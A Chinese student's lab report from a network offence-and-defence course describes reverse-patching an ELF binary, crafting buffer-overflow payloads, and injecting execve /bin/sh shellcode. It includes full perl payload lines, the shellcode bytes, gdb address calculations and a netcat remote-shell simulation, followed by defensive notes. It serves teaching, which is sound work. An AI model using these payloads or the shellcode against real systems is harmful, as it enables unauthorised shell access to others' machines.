Exp1:PC平台逆向破解
一.实验信息
- 课程名称:网络对抗技术
- 实验序号:1
- 实验名称:PC平台逆向破解
- 实验人:20201207徐艺铭
二.实验内容
实验内容
- 掌握反汇编与十六进制编程器 (1分)
- 能正确修改机器指令改变程序执行流程(1分)
- 能正确构造payload进行bof攻击(1分)
报告内容
- NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分)
- 实践总结与体会(1分)
- 遇到问题与解决(1分)
- 实验过程记录
三.实验知识
3.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:CPU空转(机器码:0x90)
- JNE:Jump if Not Equal(机器码:0x75)
- JE: Jump if Equal(机器码:0x74)
- JMP:无条件转移指令。
JMP——类型——释义——机器码
(1)段内短直接——JMP SHORT mylabel——0xEB [signed byte]——short 8bits ±126字节的地址范围
(2)段内近直接——JMP NEAR PTR mylabel——0xE9 [low byte][high byte]——word 16bits ±32768字节的地址范围
(3)段间远直接——JMP DS:[mylabel]——0xEA [IP low][IP high][CS low][CS high]——double word 32bits 全局
(4)段内近间接——JMP BX——0xFF (0xFF25 0xFF15...)
- CMP:比较指令(机器码:0x39 0x3C 0x83......)
3.2 ELF文件与反汇编
ELF文件有三种类型: 可重定位文件:也就是通常称的目标文件,后缀为.o。 共享文件:也就是通常称的库文件,后缀为.so。 可执行文件:可执行文件的格式与上述两种文件的格式之间的区别主要在于观察的角度不同:一种称为连接视图(Linking View),一种称为执行视图(Execution View)。
3.3 perl命令
- 参考链接:https://blog.csdn.net/jsugs/article/details/123007401
- Perl是一门解释型语言,不需要预编译,可以在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。
perl参数
-a 自动分隔模式,用空格分隔$并保存在@F中,也就是@F=split //, $
-F 指定-a的分隔符
-l 对输入的内容进行自动chomp,对输出的内容自动加换行符
-n 相当于while(<>)
-e 执行命令,也就是脚本
-p 自动循环+输出,也就是while(<>)
3.4 关于shellcode
shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。
四.实验过程
- 将实验需要的可执行文件pwn1207放到kali虚拟机桌面
4.1 直接修改程序机器指令
- 原理:本质上是利用call命令直接跳转到pwn文件中getShell()地址
4.1.1 使用objdump反汇编ELF文件找到getShell函数地址
-
在终端中使用
objdump -d pwn1207 | more
反汇编并阅读结果 -
在打开的界面输入
/getShell
,找到getShell()地址
-
找到getShell()的地址为0804847d
-
同时注意main函数中call命令现在跳转的位置为ffffffd7(e8为call命令的机器码)
-
使用vim改写ELF文件
-
打开文件后是一篇乱码,使用
:%!xxd
转为十六进制
-
由于本质上是利用call命令完成跳转(从call foo变成call getShell),也就是需要计算在机器编码中e8后面应该修改的硬编码(地址)是什么,所以这里需要学习一下call命令的跳转规则
假设我们需要获得E8 后面的硬编码为X
X=真正要跳转的地址-E8这条指令的下一行地址
我们要跳转到的地址为getShell地址0x804847d
E8这条指令的下一个地址为0x80484ba
X=804847d-80484ba
X=FF FF FF C3
转换一下 低位在前高位在后就获得了硬编码 C3 FF FF FF
- 所以需要将d7 ff ff ff修改为c3 ff ff ff完成跳转
- 用getShell的地址替换foo的地址,使得call命令跳转到getShell地址(可以先使用/d7查找)
Esc
后i
开始插入
- 修改前后对比
- 修改完毕后
Esc
和:wq
保存并退出 - 现在运行修改后的pwn1207文件(上面是pwn1207文件的原始用途:输出终端输入的字符,下面是修改完毕后跳转getShell获得执行权的运行结果)
- 注意:这一部分实验结束后,后续使用的ELF文件均为修改前的pwn1207文件(功能为输出相同字符那个)
4.2 构造函数造成BOF攻击
- 原理:在缓冲区中输入加长版数据占用函数返回地址,并通过计算设计,使得覆盖到返回地址的内容为getShell地址,从而获得命令执行权
- 首先,我们需要知道多少个和哪几个字符会溢出到返回地址
- 需要使用gdb进行一个小调试(实验知识介绍了安装gdb方法)
- 在终端输入
gdb
打开gdb,输入gdb pwn1207
后输入r
- 输入一个40字节字符串
1111111122222222333333334444444455555555
先是报错,返回地址变成了0x35353535
info r
查看存储情况
- 可以看到原有的eip被0x35353535覆盖(35为5的ascii码)
说明eip被溢出的输入中的4个5给覆盖了,但不确定是哪几个5 - 重复步骤,这次输入换为
1111111122222222333333334444444412345678
- 运行后可以看到返回地址变成了0x34333231(4321的ascii码)
- 推测出输入字符串的第35-38个会溢出覆盖到eip上,且排列顺序为倒叙
- 那么只要正确修改第35-38个字符即可覆盖eip完成跳转
- 上文注意到getShell地址为0x0804847d,所以使用perl建立一段input(perl的知识实验知识中有相应解释)
- 在终端中输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
- 注意
\x0a
是为了少打一个回车,如果不加需要手动敲回车
- 使用
xxd input
查看十六进制输入(画框为getShell地址)
- 输入
(cat input;cat)| ./pwn1207
建立管道将input作为pwn1207的输入 - 运行结果可以看到成功完成跳转,获得命令执行权
4.3 注入Shellcode并执行
- 首先需要准备一段shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
- 然后用
execstack -s pwn1207
将堆栈设置为可执行 - 使用
execstack -q pwn1207
查看是否设置成功
(此处我是先查询,再设置,最后查询是否成功)
- 注意:如果提示没有execstack命令,需要将老师给出的prelink压缩包放到虚拟机内解压(一定不要在Windows主机解压!!!我试了两次均蓝屏重启),解压后
cd prelink
然后依次使用命令
sudo apt-get install libelf-dev
./configure
make
sudo make install
- 关闭地址随机化
- 构造要注入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
- 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。我们这个buf够放这个shellcode了
所以结构为:nops+shellcode+retaddr。
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
- 构造一个input_shellcode
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
- 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,我们得把它改为这段shellcode的地址。
注意:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。 - 然后来确定\x4\x3\x2\x1到底应该改成什么(也就是shellcode的运行地址是什么)
- 打开一个终端注入这段攻击,输入后回车一次
(cat input_shellcode;cat)| ./pwn1207
- 再在桌面打开一个终端,查询进程号
ps -ef | grep pwn1207
第一行用户名右边跟着的第一个数字串就是进程号
(这里因为我重新整理报告时发现忘记截图了…) - 然后使用
gdb
打开gdb调试刚刚这个进程 - 输入
attach +刚刚的进程号
,再使用disassemble foo
找到最后一行ret的地址,我这里的地址是0x080484ae - 所以输入
break *0x080484ae
设置断点 - 返回运行进程的那个终端点一下回车
- 再回到gdb这边输入
c
- 输入
info r esp
查看现在esp的值
- 如图 我的esp地址现在为0xffffd4dc(注意每个人的这个值可能不一样)
- 输入命令
x/16x 0xffffd4dc
看看注入之后这附近放了什么值,从图里找到了我们的0x01020304,也就是返回地址的位置,shellcode就挨着返回地址,所以我们想要的地址=0xffffd4dc+4——>0xffffd4e0 - 所以只要用\xe0\xd4\xff\xff替换掉刚刚那段shellcode中的\x4\x3\x2\x1即可将shellcode地址注入到返回地址,使得进程没有返回原函数,而是返回到我们注入的这个shellcode里面,由于堆栈设置了可执行,我们的shellcode就这样运行出来了
- 现在在一个新的终端里重新设置一个输入流(先用32个A字符填满缓冲区)
perl -e 'print "A" x 32;print "\x90\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\xe0\xd4\xff\xff\x00"' > input_shellcode
- 输入
xxd input_shellcode
查看十六进制输入流 - 输入
(cat input_shellcodel;cat)| ./pwn1207
- 回车后就拿到了终端命令权,如图,可以随意输入一些命令(这里我电脑出现点问题,重新做了后地址变了,所以截图中是新算出来的地址,不过大同小异)
4.4 结合nc命令模拟远程攻击
- 原理:在相互ping通的两台Linux主机中,一台作为服务端,主机1打开一个有漏洞的网络服务,主机2连接后向pwn1207中注入超长字符挤占函数返回地址,发起BOF攻击
- 主机1(kali):查看ip(命令为ifconfig),查看后ip为192.168.56.128
- 主机1(kali):先以root用户的身份开放1207端口,输入
ufw allow 1207
(如果这里提示没有ufw命令,需要自己用sudo apt-get install ufw命令安装一下) - 主机1(kali):模拟有漏洞的网络服务,输入
nc -lvnp 1207 -e ./pwn1207
- 主机2(ubuntu):构造BOF输入流
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(这个输入流和第二个实验部分是一样的) - 主机2(ubuntu):连接主机1的1207端口并将刚刚的输入流注入,使用如下命令
(cat input;cat) | nc 192.168.56.128 1207
- 在主机2中发现拿到主机1的终端命令执行权,攻击完成
如图 主机1
如图 主机2
4.5 Bof攻击防御技术
4.5.1. 从防止注入的角度。
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
4.5.2 注入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
4.5.3 开启地址随机化
echo "1" > /proc/sys/kernel/randomize_va_space
开启地址随机化之后,程序运行每次随机选取地址
五.实验中遇到的问题和解决方案
- 被学长的博客坑了一把,修改地址随机化的时候,没有加下划线报了错,后面反应过来修改正确
- nc命令远程攻击的实验,我开始把VMware中的Kali作为主机1,Vbox中的ubuntu作为主机2,ping不通导致我来回上网查了很多资料去修改两个主机的网络设置和配置文件,最后终于光荣的把Kali机搞崩掉,不得不恢复刚刚安装好时的快照(这个故事告诉我们平时要注意多给自己的虚拟机照几次快照),之前实验需要的所有工具重新安装了一遍,因为地址改变又重新做了实验的第三部分(TwT)。最后将主机2选为VMware中的Ubuntu,果然一ping就通了,得以顺利做实验模拟攻击部分。
- 最后,还有一个很重要的困惑,我一直没有解决,上节课后刚刚问了老师。在前面的实验环节,我们主要在两个部分构造了两种不同的攻击输入,一个是利用缓冲区漏洞修改了函数的返回地址,另一个是单独注入了一段shellcode。模拟攻击环节,在我的认知里,应该这两种输入都能够顺利完成攻击,并且得到的结果应该是一样的,但事实上只有BOF攻击的输入可以成功,注入shellcode主机1中就会显示非法输入,然后自动断开,是我百思不解不能解决的一个问题。
六.实验心得
-
本次实验是网络攻防技术这门课的第一个实验,我开始是抱着好奇的心态跟着实验指导书和前辈们的博客一步一步往下走的,中途自己也出现了很多状况,也因为虚拟机崩溃重头再来很崩溃,但是对每个实验部分死磕以后,差不多都有了自己的理解,也发现了一些问题,经过几天对实验一的奋战以来,不能不说自己学到了很多知识。
-
在攻击主机这个实验部分,我这里有点好奇这种攻击权限能做到哪一步,在主机2中使用命令在主机1的桌面上创建了一个hello目录,发现不但可以完成创建,还可以在里面建立新的文件写东西留给主机1,主机1虽然有报错但是没有能够阻止这种输入,报错如下图
-
突然觉得有很大的恐惧感,如果一些攻击可以通过漏洞窃取到我们电子设备的权限,我们的信息将变成全透明化,甚至任人摆弄,意识到寻找漏洞修补漏洞保护自身网络安全信息安全的重要性,也意识到学习网络攻防这门课的重要性,知己知彼才能百战不殆。